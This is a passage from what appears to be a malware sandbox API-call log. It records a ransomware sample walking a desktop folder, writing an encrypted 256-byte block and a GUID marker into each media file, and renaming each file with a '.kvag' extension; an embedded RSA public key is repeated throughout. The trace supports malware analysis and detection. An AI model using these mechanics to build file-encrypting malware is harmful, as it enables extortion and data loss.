(normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\73vid7uoox7691k_8lf.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0118.947] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=97993) returned 1 [0118.947] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0118.949] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x17ea3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.949] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0118.951] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x17ec9, lpOverlapped=0x0) returned 1 [0118.952] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0118.952] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0118.952] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0118.952] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607e88) returned 1 [0118.953] CryptCreateHash (in: hProv=0x3607e88, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0118.953] CryptHashData (hHash=0x6183888, pbData=0x6194a40, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0118.953] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0118.953] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0118.953] GetLastError () returned 0x0 [0118.953] SetLastError (dwErrCode=0x0) [0118.953] GetLastError () returned 0x0 [0118.953] SetLastError (dwErrCode=0x0) [0118.953] GetLastError () returned 0x0 [0118.953] SetLastError (dwErrCode=0x0) [0118.953] GetLastError () returned 0x0 [0118.953] SetLastError (dwErrCode=0x0) [0118.953] GetLastError () returned 0x0 [0118.954] SetLastError (dwErrCode=0x0) [0118.954] GetLastError () returned 0x0 [0118.954] SetLastError (dwErrCode=0x0) [0118.954] GetLastError () returned 0x0 [0118.954] SetLastError (dwErrCode=0x0) [0118.954] GetLastError () returned 0x0 [0118.954] SetLastError (dwErrCode=0x0) [0118.954] GetLastError () returned 0x0 [0118.954] SetLastError (dwErrCode=0x0) [0118.954] GetLastError () returned 0x0 [0118.954] SetLastError (dwErrCode=0x0) [0118.954] GetLastError () returned 0x0 [0118.954] SetLastError (dwErrCode=0x0) [0118.954] GetLastError () returned 0x0 [0118.954] SetLastError (dwErrCode=0x0) [0118.954] GetLastError () returned 0x0 [0118.954] SetLastError (dwErrCode=0x0) [0118.954] GetLastError () returned 0x0 [0118.954] SetLastError (dwErrCode=0x0) [0118.954] GetLastError () returned 0x0 [0118.954] SetLastError (dwErrCode=0x0) [0118.954] GetLastError () returned 0x0 [0118.954] SetLastError (dwErrCode=0x0) [0118.954] CryptDestroyHash (hHash=0x6183888) returned 1 [0118.954] CryptReleaseContext (hProv=0x3607e88, dwFlags=0x0) returned 1 [0118.955] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0118.955] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0118.955] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0118.955] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x35e0e48, Size=0x218) returned 0x61efac8 [0118.956] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x17ec9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.956] WriteFile (in: hFile=0x61c, lpBuffer=0x360f820*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x360f820*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0118.956] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0118.956] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0118.956] CloseHandle (hObject=0x61c) returned 1 [0118.958] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\73vID7uoOX7691K_8lf.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\73vid7uoox7691k_8lf.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\73vID7uoOX7691K_8lf.flv.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\73vid7uoox7691k_8lf.flv.kvag")) returned 1 [0118.961] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b1b8350, ftCreationTime.dwHighDateTime=0x1d4ceb1, ftLastAccessTime.dwLowDateTime=0x585d3960, ftLastAccessTime.dwHighDateTime=0x1d4c72c, ftLastWriteTime.dwLowDateTime=0x585d3960, ftLastWriteTime.dwHighDateTime=0x1d4c72c, nFileSizeHigh=0x0, nFileSizeLow=0xcf56, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="93DUD_DP1S6Odp.m4a", cAlternateFileName="93DUD_~1.M4A")) returned 1 [0118.961] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\93DUD_DP1S6Odp.m4a") returned=".m4a" [0118.961] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\93DUD_DP1S6Odp.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\93dud_dp1s6odp.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0118.961] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=53078) returned 1 [0118.961] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0118.962] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xcf30, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.962] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0118.964] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0xcf56, lpOverlapped=0x0) returned 1 [0118.964] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0118.965] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0118.965] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0118.965] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607e88) returned 1 [0118.965] CryptCreateHash (in: hProv=0x3607e88, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0118.965] CryptHashData (hHash=0x6183888, pbData=0x6194a40, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0118.965] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0118.966] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0118.966] GetLastError () returned 0x0 [0118.966] SetLastError (dwErrCode=0x0) [0118.966] GetLastError () returned 0x0 [0118.966] SetLastError (dwErrCode=0x0) [0118.966] GetLastError () returned 0x0 [0118.966] SetLastError (dwErrCode=0x0) [0118.966] GetLastError () returned 0x0 [0118.966] SetLastError (dwErrCode=0x0) [0118.966] GetLastError () returned 0x0 [0118.966] SetLastError (dwErrCode=0x0) [0118.966] GetLastError () returned 0x0 [0118.966] SetLastError (dwErrCode=0x0) [0118.966] GetLastError () returned 0x0 [0118.966] SetLastError (dwErrCode=0x0) [0118.966] GetLastError () returned 0x0 [0118.966] SetLastError (dwErrCode=0x0) [0118.966] GetLastError () returned 0x0 [0118.966] SetLastError (dwErrCode=0x0) [0118.966] GetLastError () returned 0x0 [0118.966] SetLastError (dwErrCode=0x0) [0118.966] GetLastError () returned 0x0 [0118.966] SetLastError (dwErrCode=0x0) [0118.967] GetLastError () returned 0x0 [0118.967] SetLastError (dwErrCode=0x0) [0118.967] GetLastError () returned 0x0 [0118.967] SetLastError (dwErrCode=0x0) [0118.967] GetLastError () returned 0x0 [0118.967] SetLastError (dwErrCode=0x0) [0118.967] GetLastError () returned 0x0 [0118.967] SetLastError (dwErrCode=0x0) [0118.967] GetLastError () returned 0x0 [0118.967] SetLastError (dwErrCode=0x0) [0118.967] CryptDestroyHash (hHash=0x6183888) returned 1 [0118.967] CryptReleaseContext (hProv=0x3607e88, dwFlags=0x0) returned 1 [0118.967] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0118.967] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0118.967] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0118.968] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x35e0e48, Size=0x218) returned 0x61efac8 [0118.968] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xcf56, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.968] WriteFile (in: hFile=0x61c, lpBuffer=0x360f820*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x360f820*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0118.969] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0118.969] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0118.969] CloseHandle (hObject=0x61c) returned 1 [0118.970] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\93DUD_DP1S6Odp.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\93dud_dp1s6odp.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\93DUD_DP1S6Odp.m4a.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\93dud_dp1s6odp.m4a.kvag")) returned 1 [0118.971] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ba665b0, ftCreationTime.dwHighDateTime=0x1d4d2a4, ftLastAccessTime.dwLowDateTime=0x332ae5c0, ftLastAccessTime.dwHighDateTime=0x1d4ce4d, ftLastWriteTime.dwLowDateTime=0x332ae5c0, ftLastWriteTime.dwHighDateTime=0x1d4ce4d, nFileSizeHigh=0x0, nFileSizeLow=0x14836, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ac94nmxutgBcO_sO.mkv", cAlternateFileName="AC94NM~1.MKV")) returned 1 [0118.971] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ac94nmxutgBcO_sO.mkv") returned=".mkv" [0118.971] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ac94nmxutgBcO_sO.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ac94nmxutgbco_so.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0118.971] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=84022) returned 1 [0118.972] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0118.973] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x14810, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.973] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0118.974] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x14836, lpOverlapped=0x0) returned 1 [0118.975] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0118.975] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0118.975] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0118.975] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607e88) returned 1 [0118.976] CryptCreateHash (in: hProv=0x3607e88, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0118.976] CryptHashData (hHash=0x6183888, pbData=0x6194a40, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0118.976] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0118.976] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0118.976] GetLastError () returned 0x0 [0118.976] SetLastError (dwErrCode=0x0) [0118.976] GetLastError () returned 0x0 [0118.976] SetLastError (dwErrCode=0x0) [0118.976] GetLastError () returned 0x0 [0118.976] SetLastError (dwErrCode=0x0) [0118.976] GetLastError () returned 0x0 [0118.976] SetLastError (dwErrCode=0x0) [0118.976] GetLastError () returned 0x0 [0118.976] SetLastError (dwErrCode=0x0) [0118.976] GetLastError () returned 0x0 [0118.977] SetLastError (dwErrCode=0x0) [0118.977] GetLastError () returned 0x0 [0118.977] SetLastError (dwErrCode=0x0) [0118.977] GetLastError () returned 0x0 [0118.977] SetLastError (dwErrCode=0x0) [0118.977] GetLastError () returned 0x0 [0118.977] SetLastError (dwErrCode=0x0) [0118.977] GetLastError () returned 0x0 [0118.977] SetLastError (dwErrCode=0x0) [0118.977] GetLastError () returned 0x0 [0118.977] SetLastError (dwErrCode=0x0) [0118.977] GetLastError () returned 0x0 [0118.977] SetLastError (dwErrCode=0x0) [0118.977] GetLastError () returned 0x0 [0118.977] SetLastError (dwErrCode=0x0) [0118.977] GetLastError () returned 0x0 [0118.977] SetLastError (dwErrCode=0x0) [0118.977] GetLastError () returned 0x0 [0118.977] SetLastError (dwErrCode=0x0) [0118.977] GetLastError () returned 0x0 [0118.977] SetLastError (dwErrCode=0x0) [0118.977] CryptDestroyHash (hHash=0x6183888) returned 1 [0118.977] CryptReleaseContext (hProv=0x3607e88, dwFlags=0x0) returned 1 [0118.977] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0118.977] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0118.977] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0118.978] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x35e0e48, Size=0x218) returned 0x61efac8 [0118.979] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x14836, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.979] WriteFile (in: hFile=0x61c, lpBuffer=0x360f820*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x360f820*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0118.979] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0118.979] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0118.979] CloseHandle (hObject=0x61c) returned 1 [0118.980] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ac94nmxutgBcO_sO.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ac94nmxutgbco_so.mkv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ac94nmxutgBcO_sO.mkv.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ac94nmxutgbco_so.mkv.kvag")) returned 1 [0118.982] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e8a4ea0, ftCreationTime.dwHighDateTime=0x1d4cc6a, ftLastAccessTime.dwLowDateTime=0xe8466690, ftLastAccessTime.dwHighDateTime=0x1d4d20e, ftLastWriteTime.dwLowDateTime=0xe8466690, ftLastWriteTime.dwHighDateTime=0x1d4d20e, nFileSizeHigh=0x0, nFileSizeLow=0x8abe, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AVR2QWSJN.m4a", cAlternateFileName="AVR2QW~1.M4A")) returned 1 [0118.982] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\AVR2QWSJN.m4a") returned=".m4a" [0118.982] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\AVR2QWSJN.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\avr2qwsjn.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0118.982] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=35518) returned 1 [0118.982] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0118.984] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x8a98, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.984] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0118.986] ReadFile (in: 